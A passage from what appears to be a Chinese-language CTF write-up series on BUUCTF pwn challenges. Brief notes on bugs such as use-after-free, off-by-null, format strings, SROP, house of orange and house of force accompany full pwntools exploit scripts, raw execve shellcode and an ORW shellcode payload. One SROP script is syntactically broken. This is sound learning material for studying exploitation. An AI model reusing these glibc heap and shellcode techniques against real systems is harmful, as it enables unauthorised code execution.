p.sendlineafter(b'Her name size is :', str(size))
p.sendafter(b'Her name is :', content)
def free(index):
p.sendlineafter(b'Your choice :', '2')
p.sendlineafter(b'Index :', str(index))
def show(index):
p.sendlineafter(b'Your choice :', '3')
p.sendlineafter(b'Index :', str(index))
add(0x38,b'a'*18)
add(0x38,b'a'*18)
#gdb.attach(p,'b *0x400AAB')
free(0)
free(1)
#debug()
add(0x10, p64(elf.sym['backdoor'])) #index2
show(0)
p.interactive()
pause()
gyctf_2020_signin
思路:
一道看似有菜单实则没有的堆题,不过对应的功能还是标注好了的,这里一个backdoor。
可以看到如果ptr不为0的话那么就可getshell,这个ptr位于bss段上面,那么这个calloc在这里又有什么意义呢?
去搜了一下发现calloc和malloc的作用是差不多的,一个比较大的区别就是calloc不会分配tcache中的chunk。
再看看del函数
可以看到这里并没有把指针清空,那么存在uaf,但是就在我准备以常规手段解决这题时我发现了貌似事情没有这么简单。最终发现问题出在edit了函数上面。
由于cnt一开始为0,减1之前那么就会发生整数溢出导致cnt变为0xffffffffffff所以这个edit函数只能使用一次,最后看了一眼wp,其实如果懂一点源码的话可以不用看wp也写的出来的。
这里出现了一个新的知识就是(对我来说是新知识),在分配 fastbin 中的 chunk 时若还有其他相同大小的 fastbin_chunk 则把它们全部放入 tcache 中。
那么我们可以根据这个特性再加上calloc那个特性,就可以把一个堆块的地址放入ptr所在的位置,从而使其不为0然后getshell。
Exp:
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')
#p = process('./pwn')
p = remote("node5.buuoj.cn",29159)
elf = ELF('./pwn')
libc = ELF('/home/giant/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
gdb.attach(p)
pause()
def add(index):
p.sendlineafter(b'your choice?', '1')
p.sendlineafter(b'idx?\n', str(index))
def edit(index, content):
p.sendlineafter(b'your choice?', '2')
p.sendlineafter(b'idx?\n', str(index))
p.send(content)
def free(index):
p.sendlineafter(b'your choice?', '3')
p.sendlineafter(b'idx?\n', str(index))
for i in range(9):
add(i)
for i in range(10):
free(i)
edit(8,p64(0x4040c0-0x10))
add(10)
#gdb.attach(p)
p.sendlineafter(b'your choice?', '6')
p.interactive()
picoctf_2018_are you root
思路:
像是一个简单的用户界面,flag的逻辑主要位于这里
如果我们的等级是5的话便可直接获取flag,但是很明显我们不可以设置等级到5级。
当时reset中的free存在一个漏洞点,看了好久
我们来慢慢分析。首先在初次login时我输入aaaaaaaa55555555,得到
可以看到是0,但是我在第二次login aaaaaaaa55555555时得到的却是
明明是一样的但是为什么结果会差这么多呢?原来是reset中的free搞的鬼
这里虽然让v6等于0了,但是这里v6+8的地方并没有等于0
所以当我们再次login时就会出现这样的情况。
两个堆块都有值,所以我们只要适当控制好这个,就可以让[]里面的内容为5,从而getflag
Exp:
from pwn import *
p=process("./pwn")
#p=remote("node5.buuoj.cn",26433)
p.sendlineafter(b'> ',b'login '+b'a'*8+p64(0x5))
p.sendlineafter(b'> ',b'reset')
#gdb.attach(p)
pause()
p.sendlineafter(b'> ',b'login '+b'a'*8+p64(0x5))
p.sendlineafter(b'> ', b'get-flag')
p.interactive()
print(p.recv())
xman_2019_format
思路:
又是一道格式字符串。格式字符串写到吐了,都是这样类似的题目,思路简单,但是一写起来麻烦的要是,工具是用不了的,手搓是基础的,动调是必要的,本地是能通的,远程是看运气的。好了
直接放exp吧
Exp:
from pwn import *
#p=process("./pwn")
p=remote("node5.buuoj.cn",29863)
elf=ELF("pwn")
#gdb.attach(p,'b *0x08048606')
libc=ELF("/lib/i386-linux-gnu/libc.so.6")
#\\
strtok=elf.got["strtok"]
system=elf.sym["system"]
payload1=(b'%92c%10$hhn')
payload2=(b'|'+(b'%34219c'+b'%18$hn'+b'|'+p32(strtok)).ljust(0x10,b'\x00'))
payload=payload1+b'|'+payload2
p.sendlineafter(b'...',payload)
print(p.recv())
p.interactive()
rootersctf_2019_srop
思路:
这里虽然没有mov rax 0xf这样的gadget,但是这里有pop rax ,syscall。这样的gadget,因此只要我们提前在栈上布置好值就可以实现srop,因为这里的write不好泄露栈地址,也不好往栈上写/bin/sh\x00,因此我们可以通过srop来写/bin/sh\x00,然后再execve来获取shell
Exp:
from pwn import *
p=process("./pwn")
gdb.attach(p)
#p=remote("node5.buuoj.cn",25423)
context(arch='amd64',os='linux',log_level='debug')
syscall=0x401033
sigframe1=SigreturnFrame()
sigframe1.rax=0
sigframe1.rdx=0x400
sigframe1.rdi=0
sigframe1.rsi=0x402000
sigframe1.rbp=0x402008
sigframe1.rip=syscall
sigframe1.rsp=0
sigframe2=SigreturnFrame()
sigframe2.rax=0x3b
sigframe2.rdx=0
sigframe2.rdi=0x402000
sigframe2.rsi=0
sigframe2.rip=syscall
sigframe2.r11=0
payload=b'/bin/sh\x00'+b'a'*0x28+p64(0x400672)+p64(0xf)+flat(sigframe1)
p.send(payload)
payload2=b'/bin/sh\x00'+p64(0x400672+p64(0x400672)+p64(0xf)+p64(0x0)*0+flat(sigframe2)
pause()
p.send(payload2)
p.interactive()
hitcon_2018_children_tcache
思路:
add这里有一个strcpy,strcpy会在末尾添加一个\x00的字符串结尾,那么可以通过这个造成offbynull漏洞。以此来造成堆块重叠攻击。
但是这里free会有一个类似于保护prev_size的机制吧,也就是我们在free一个堆块的时候,它会把这个堆块填满0xDA,这个0xDA填多少是根据我们申请chunk时输入的size的大小决定的。
那么其实绕过这个也不难,因为我们知道申请0x61,0x62,0x63........0x68的chunk,最后都会分配一个0x71大小的chunk,所以我们只需要通过循环申请释放即可控制prev_size。这里之所以一开始不申请最小的是因为我们还需要造成offbynull攻击。
add(0x410, b'a') #index0
add(0x68, b'b') #index1
add(0x4f0, b'c') #index2
add(0x10, b'd') #index3
free(0)free(1)
gdb.attach(p,'b *$rebase(0xD6B)')
for i in range(9):
add(0x68 - i, b'a'*(0x68 - i)) #index 0
free(0)add(0x68, b'a'*0x60+p64(0x490)) #index1
然后就是泄露libc_base了,这里就是借助堆块合并之后再申请一个堆块来造成uaf漏洞从而泄露libc_base的。那么uaf漏洞也有了,libc_base也泄露了,接下来就是打one_gadget了。
#leak libc_base
free(2)
add(0x410,b'a'*1)
show(0)
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-96-0x10-libc.sym["__malloc_hook"]
print(hex(libc_base))
free_hook=libc.sym["__free_hook"]+libc_base
system=libc.sym["system"]+libc_base
ogg=libc_base+0x4f322
Exp:
from pwn import *
p=process("./pwn")
elf=ELF("./pwn")
#p=remote("node5.buuoj.cn",25613)
libc=ELF('libc_18_64.so')
def debug():
gdb.attach(p)
pause()
def add(size,data):
p.sendlineafter(b'Your choice: ',str(1))
p.sendlineafter(b'Size:',str(size))
p.sendlineafter(b'Data',data)
def show(idx):
p.sendlineafter(b'Your choice: ',b'2')
p.sendlineafter(b'Index:',str(idx))
def free(idx):
p.sendlineafter(b'Your choice: ',b'3')
p.sendlineafter(b'Index:',str(idx))
add(0x410, b'a') #index0
add(0x68, b'b') #index1
add(0x4f0, b'c') #index2
add(0x10, b'd') #index3
free(0)
free(1)
#gdb.attach(p,'b *$rebase(0xD6B)')
for i in range(9):
add(0x68 - i, b'a'*(0x68 - i)) #index 0
free(0)
add(0x68, b'a'*0x60+p64(0x490)) #index1
free(2)
add(0x410,b'a'*1)
show(0)
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-96-0x10-libc.sym["__malloc_hook"]
print(hex(libc_base))
free_hook=libc.sym["__free_hook"]+libc_base
system=libc.sym["system"]+libc_base
ogg=libc_base+0x4f322
add(0xf8,b'a')
free(2)
free(0)
add(0xf8,p64(free_hook))
add(0xf8,b'a'*0xf8)
add(0xf8,p64(ogg))
free(0)
p.interactive()
hgame2018_flag_server
思路:
看到这里我以为是伪随机的题目,但是用之前的方法貌似加载不了本地的64位的libc文件,因为之前我打的都是32位的伪随机数题目,都是用cdll加载的,然而我这次加载时一直显示32位。。。。。什么不能64位。后来去看了一眼wp发现原来这题可以不用伪随机写。
漏洞点位于这个rean_n函数,由于之前的代码对v5并没有做出严格的检查,导致v5可以为-1的值,我们再来看看rean_n的算法是什么。
可以看到,当v5为-1时,循环可以一直进行下去,之到我们输入换行符。那么就可以通过这个来溢出v10,使其不为0,从而无需进行admin的随机数判断
Exp:
from pwn import *
from struct import pack
from ctypes import *
import base64
p=remote("node5.buuoj.cn",29347)
p.sendlineafter(b'your username length: ',b'-1')
p.sendlineafter(b'whats your username?\n',b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaa')
print(p.recv())
print(p.recv())
qctf2018_stack2
思路:
貌似之前写过一道一模一样的题目
程序主要是由于在进行change操作时没有对输入的元素进行检查,从而导可以修改一些后面的内容,把ret_addr改为后门地址,从而getshell
Exp:
from pwn import *
#p=process("./stack2")
p=remote("node5.buuoj.cn",28623)
elf = ELF('./stack2')
libc=ELF("libc-2.27.so")
#gdb.attach(p,'b *0x08048827')
p.sendlineafter(b'How many numbers you have:\n',b'1')
p.sendlineafter(b'Give me your numbers\n',b'6')
p.sendlineafter(b'5. exit',b'3')
p.sendlineafter(b'which number to change:\n',b'132')
p.sendlineafter(b'new number:\n',b'155')
p.sendlineafter(b'5. exit',b'3')
p.sendlineafter(b'which number to change:\n',b'133')
p.sendlineafter(b'new number:\n',b'133')
p.sendlineafter(b'5. exit',b'3')
p.sendlineafter(b'which number to change:\n',b'134')
p.sendlineafter(b'new number:\n',b'04')
p.sendlineafter(b'5. exit',b'3')
p.sendlineafter(b'which number to change:\n',b'135')
p.sendlineafter(b'new number:\n',b'08')
p.sendlineafter(b'5. exit',b'5')
p.recv()
p.interactive()
[BSidesCF 2019]Runit
思路:
直接写shllcode就可以getshell了
Exp:
from pwn import *
p=process("./pwn")
#gdb.attach(p)
shellcode_x86 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode_x86 += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode_x86 += "\x0b\xcd\x80"
p.send(shellcode_x86)
p.interactive()
zctf_2016_note3
思路:
貌似是zctf_2016_note2的升级版,我们来看看有什么改动,貌似只是把show的功能删除了,溢出的功能还存在,那么这里可以通过edit的溢出功能来打unlink。那么为什么不直接打uaf呢?因为这里的libc的版本是2.23的,所以我们直接打的话需要一些比较严格的条件,所以unlink会好一些
#unlink
ptr=0x6020d8
add(0,b'a'*8)#0
add(0x18,b'f'*8)#1
add(0xf8,b'd'*8)#2
add(0xf8,b'e'*8)#3
add(0x18,b'g'*8)#4
edit(0,b'c'*0x18+p64(0x21)+p64(0)*3+p64(0x101)+p64(0)+p64(0xf1)+p64(ptr-0x18)+p64(ptr-0x10)+b'q'*0xd0+p64(0xf0)+p64(0x100)+p64(0)*2)
#
free(3)
那么unlink之后我们就可以修改got表,由于没有show的功能,所以我们这里可以把free的got表改为puts,然后再改掉bss的堆信息。就可以泄露libc_base,然后就是改atoi为system了。最后getshell
Exp:
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')
#p = process('./pwn')
p = remote("node5.buuoj.cn",28176)
elf = ELF('./pwn')
libc = ELF('/home/giant/Desktop/buuctf4/libc-2.23_16_64.so')
#libc = ELF('/home/giant/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
def debug():
gdb.attach(p)
pause()
def add(size, content):
p.sendlineafter(b'option--->>\n', '1')
p.sendlineafter(b'(less than 1024)\n', str(size))
p.sendlineafter(b'content:\n', content)
def edit(index, content):
p.sendlineafter(b'option--->>\n', '3')
p.sendlineafter(b'the note:\n', str(index))
p.sendlineafter(b'content:\n', content)
def free(index):
p.sendlineafter(b'option--->>\n', '4')
p.sendlineafter(b'the note:\n', str(index))
ptr=0x6020d8
add(0,b'a'*8)#0
add(0x18,b'f'*8)#1
add(0xf8,b'd'*8)#2
add(0xf8,b'e'*8)#3
add(0x18,b'g'*8)#4
edit(0,b'c'*0x18+p64(0x21)+p64(0)*3+p64(0x101)+p64(0)+p64(0xf1)+p64(ptr-0x18)+p64(ptr-0x10)+b'q'*0xd0+p64(0xf0)+p64(0x100)+p64(0)*2)
#
free(3)
payload=p64(0)+p64(elf.got["atoi"])+p64(elf.got["free"])
payload+=p64(0x6020c0)+p64(elf.got["atoi"])*3
edit(2,payload)
#gdb.attach(p,'b *0x400cd5 ')
edit(1,p64(elf.sym["puts"])+p64(elf.sym["puts"]+6))
free(0)
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-libc.sym["atoi"]
print(hex(libc_base))
system=libc.sym["system"]+libc_base
edit(4,p64(system))
p.sendlineafter(b'option--->>\n', '/bin/sh\x00')
p.interactive()
pwnable_asm
思路:
典型的orw,没什么好说的
Exp:
from pwn import *
p=process("./asm")
#p=remote("node5.buuoj.cn",28945)
#gdb.attach(p)
context.arch="amd64"
buf=0x41414000+0x200
sc=shellcraft.open('flag')#pwntools自带的生成这个函数的代码
sc+=shellcraft.read(3,buf,0x30)
sc+=shellcraft.write(1,buf,0x30)
payload=asm(sc)
p.send(payload)
p.interactive()
print(p.recv())
pause()
gyctf_2020_some_thing_interesting
思路:
一道uaf的题目,libc版本为2.23。这道题目比较简单,直接放exp
Exp:
from pwn import *
#p=process("./pwn")
p=remote("node5.buuoj.cn",28755)
libc=ELF("/home/giant/Desktop/buuctf4/libc-2.23_16_64.so")
p.sendline(b'OreOOrereOOreO%17$p')
def debug():
gdb.attach(p)
pause()
def check():
p.sendlineafter(b'> Now please tell me what you want to do :',b'0')
def add(length1,length2,context1,context2):
p.sendlineafter(b'> Now please tell me what you want to do :',b'1')
p.sendlineafter(b"> O's length : ",str(length1))
p.sendlineafter(b'> O : ',context1)
p.sendlineafter(b"> RE's length : ",str(length2))
p.sendlineafter(b'> RE : ',context2)
def edit(idx,context1,context2):
p.sendlineafter(b'> Now please tell me what you want to do :',b'2')
p.sendlineafter(b'> Oreo ID : ',str(idx))
p.sendlineafter(b'> O : ',context1)
p.sendlineafter(b'> RE : ',context2)
def free(idx):
p.sendlineafter(b'> Now please tell me what you want to do :',b'3')
p.sendlineafter(b'> Oreo ID : ',str(idx))
def show(idx):
p.sendlineafter(b'> Now please tell me what you want to do :',b'4')
add(0x18,0x18,b'a'*8,b'c'*8)#idx3
#gdb.attach(p,'b *$rebase(0xD99)')
check()
p.recvuntil(b'OreOOrereOOreO')
libc_base=int(p.recv(14),16)-libc.sym["__libc_start_main"]-240
ogg=libc_base+0xf1147
print(hex(libc_base))
malloc_hook=libc_base+libc.sym["__malloc_hook"]
add(0x68,0x68,b'a'*9,b'a'*8)
free(2)
#gdb.attach(p,'b *$rebase(0x108F)')
edit(2,p64(malloc_hook-0x23),p64(malloc_hook-0x23))
add(0x68,0x68,b'c'*9,b'\x00'*0x13+p64(ogg))
p.interactive()
houseoforange_hitcon_2016
思路:
看名字就知道是house of orange(新知识)。这种攻击手法适用于没有free功能的。是一种攻击IO结构体的方法,用这道题目来入门IO是个不错的选择。我们先来看看程序逻辑。
可以看到也是一道菜单堆题目,这里只有add,show,edit。而且保护全开。
这里add限制了堆块的大小,所以不考虑house of force。
虽然这里可以堆溢出,但是我们什么都没有泄露,即使造成了uaf,也不能实现任意地址改
况且我们还没有free的功能。这里首先要搞一个free堆块出来,这里根据源码可以得知Top chunk有一个特性。在某种条件下申请一个比其大的堆块时会free原来的那个老的堆块,源码分析估计后面会再发一篇文章()。而且我们还可以通过堆溢出改掉Top chunk的size位,从而更轻易的实现这个。
这里关于top chunk的这个利用还需要绕过一些检查
- prev_inuse (old_top) 检查 top_chunk 的 p 位是否为 1
- old_end & (pagesize - 1)) == 0 需要 top_chunk_size + top_chunk_addr - 1 是页对齐的
- user_chunk_size > top_chunk_size 申请的堆块大小要大于 top_chunk 的大小
- top_chunk_size > MINSIZE 也就是 top_chunk 的大小要大于 chunk_heap 的大小,64 位下为 0x10
其中1,3,4这三点大多数时候是可以满足的,大多数新生会踩的坑大概是第2点,这里可能会有些人对页对齐有点疑惑,简而言之就是需要 top_chunk_size + top_chunk_addr - 1=0x1000或者0x1000的倍数。
不过我们一般是选择0x1000的,然后这样才能保证不报这样的错误。
然后就是泄露libc_base了
# leak libcbase head_addr
add(0x10, b'a', b'1')edit(-1, p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0xfa1), b'1')
add(0xfb0, b'a', b'1')
add(0x400, b'a'*8, b'1')
show()
p.recvuntil(b'aaaaaaaa')
main_arena_1640 = u64(p.recv(6)[-6:].ljust(8, b'\x00'))
libcbase = main_arena_1640 - 1640 - 0x10 - libc.sym['__malloc_hook']
print(' libcbase -> ', hex(libcbase))
后面的IO攻击也需要用到堆地址,这里页顺便泄露一下堆地址。
edit(-1, b'a'*12 + b'stop', b'1')
show()
p.recvuntil('stop')
heap_addr = u64(p.recv(6).ljust(8, b'\x00')) - 0xc0
然后就是伪造IO结构体打FSOP了。这里的利用比较巧妙。
我们可以在 _IO_list_all所在的地方 利用 unsorted bin attack 写入 main_arena_88 ,那么,main_arena_88 就会被当成一个 _IO_FILE 结构体,而 main_arena_88 + 0x68 = main_arena_C0 ,也就是 _IO_FILE 结构体中存放 chain 指针的地方,也是存放 0x60 大小 small bin 第一个 free chunk 地址的地方,如果我们伪造一个 small bin 为 _IO_FILE 结构体,那么我们就能够准确地劫持程序了
这两个攻击可以同时进行,然后我们再在malloc时会打印报错信息,但是IO的程序执行流已经被劫持了,所以就会跳转到我们写的恶意代码那里,从而getshell.
由于这里要讲清楚的话会需要引用较多的源码,因此在这里先粗略介绍一下。
Exp:
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')
p = process('./pwn')
#p = remote("node5.buuoj.cn",29597)
#elf = ELF('./pwn')
#libc = ELF('libc-2.23_16_64.so')
libc = ELF('/home/giant/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
def debug():
gdb.attach(p)
pause()
def add(size, content1, content2):
p.sendlineafter(b'choice : ', '1')
p.sendlineafter(b'name :', str(size))
p.sendafter(b'Name :', content1)
p.sendafter(b'Price of Orange:', content2)
p.sendlineafter(b'Color of Orange:', '1')
def show():
p.sendlineafter(b'choice : ', '2')
def edit(size, content1, content2):
p.sendlineafter(b'choice : ', '3')
p.sendlineafter(b'name :', str(size))
p.sendafter(b'Name:', content1)
p.sendafter(b'Price of Orange:', content2)
p.sendlineafter(b'Color of Orange:', '1')
# leak libcbase head_addr
add(0x10, b'a', b'1')
edit(-1, p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0xfa1), b'1')
add(0xfb0, b'a', b'1')
add(0x400, b'a'*8, b'1')
show()
p.recvuntil(b'aaaaaaaa')
main_arena_1640 = u64(p.recv(6)[-6:].ljust(8, b'\x00'))
libcbase = main_arena_1640 - 1640 - 0x10 - libc.sym['__malloc_hook']
print(' libcbase -> ', hex(libcbase))
edit(-1, b'a'*12 + b'stop', b'1')
show()
p.recvuntil('stop')
heap_addr = u64(p.recv(6).ljust(8, b'\x00')) - 0xc0
# FSROP
system = libcbase + libc.sym['system']
IO_list_all = libcbase + libc.sym['_IO_list_all']
payload = b'a' * 0x400 + p64(0) + p64(0x21) + b'a'*0x10
fake_file = b'/bin/sh\x00'+p64(0x61)#to small bin
fake_file += p64(0)+p64(IO_list_all-0x10)
fake_file += p64(0) + p64(1)#_IO_write_base < _IO_write_ptr
fake_file = fake_file.ljust(0xc0, b'\x00')
fake_file += p64(0) * 3
fake_file += p64(heap_addr + 0x5C8) #vtable ptr
fake_file += p64(0) * 2
fake_file += p64(system)
payload += fake_file
print(' heap_addr -> ', hex(heap_addr))
#
edit(-1, payload, b'1')
#pause()
# pwn
gdb.attach(p,'b *$rebase(0xD68)')
p.sendlineafter(b'choice : ', '1')
p.interactive()
gyctf_2020_document
思路:
菜单堆题
remove中存在uaf漏洞
其他地方没啥好说的,直接上exp吧
Exp:
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')
p = process('./pwn')
#p = remote("node5.buuoj.cn",29775)
elf = ELF('./pwn')
libc = ELF('/home/giant/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('/home/giant/Desktop/buuctf4/libc-2.23_16_64.so')
def debug():
gdb.attach(p)
pause()
def add(name, sex, content):
p.sendlineafter(b'choice : \n', '1')
p.sendafter(b'name\n', name)
p.sendafter(b'sex\n', sex)
p.sendafter(b'information\n', content)
def show(index):
p.sendlineafter(b'choice : \n', '2')
p.sendlineafter(b'index : \n', str(index))
def edit(index, content):
p.sendafter(b'choice : \n', '3')
p.sendafter(b'index : \n', str(index))
p.sendafter(b'sex?\n', 'N')
p.sendafter(b'information\n', content)
def free(index):
p.sendlineafter(b'choice : \n', '4')
p.sendlineafter(b'index : \n', str(index))
#leak
add(b'a'*8,b'w',b'c'*0x70)
add(b'a'*8,b'w',b'c'*0x78)
free(0)
show(0)
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x3c4b78
free_hook = libc_base + libc.sym['__free_hook']
one_gadget = libc_base + 0x4527a
print(hex(libc_base))
add(b'a'*8,b'W',b'c'*0x78)
add(b'a'*8,b'W',b'c'*0x78)
debug()
edit(0, p64(0) + p64(0x21) + p64(free_hook - 0x10) + p64(1) + p64(0) + p64(0x51) + p64(0)*8)
edit(3, p64(one_gadget) + p64(0)*13)
print(hex(one_gadget))
#debug()
# pwn
free(1)
p.interactive()
bcloud_bctf_2016
思路:
又是一道典型的house of force
上面貌似写了一道house of forece的题目,直接放exp吧
Exp:
from pwn import *
from struct import pack
context(os = 'linux', arch = 'amd64', log_level='debug')
#p = process('./pwn')
p = remote("node5.buuoj.cn",27782)
elf = ELF('./pwn')
#libc = ELF('buu/libc-2.23.so')
libc = ELF('/home/giant/Desktop/buuctf4/libc-2.23_16_32.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
gdb.attach(p)
pause()
def init(name, org, host):
p.sendlineafter(b'name:\n', name)
p.sendlineafter(b'Org:\n', org)
p.sendlineafter(b'Host:\n', host)
def add(size, content):
p.sendlineafter(b'>>\n', b'1')
p.sendlineafter(b'content:\n', str(size))
p.sendlineafter(b'content:\n', content)
def edit(index, content):
p.sendlineafter(b'>>\n', b'3')
p.sendlineafter(b'id:\n', str(index))
p.sendlineafter(b'content:\n', content)
def free(index):
p.sendlineafter(b'>>\n', b'4')
p.sendlineafter(b'id:\n', str(index))
def syn():
p.sendlineafter(b'>>\n', b'5')
# get_top_chunk_addr house_of_force
p.sendafter(b'name:\n', b'a'*0x3c + b'stop')
p.recvuntil(b'stop')
heap_addr = u32(p.recv(4))
top_chunk_addr = heap_addr + 0xd0
print(' heap_addr -> ', hex(heap_addr))
p.sendafter(b'Org:\n', b'a'*0x40)
p.sendafter(b'Host:\n', p32(0xffffffff) + b'a'*0x3c)
ptr = 0x804B120
offset = ptr - top_chunk_addr - 0x10
add(offset, b'')
# leak libc_base
add(0x20, p32(0) + p32(elf.got['free']) + p32(elf.got['atoi']))
edit(1, p32(elf.sym['puts']))
print(hex(elf.sym['puts']))
free(2)
libc_base = u32(p.recv(4)) - libc.sym['atoi']
print(' libc_base -> ', hex(libc_base))
# free -> system
system = libc_base + libc.sym['system']
edit(1, p32(system))
# pwn
add(0x10, b'/bin/sh\x00')
free(0)
p.interactive()
#debug()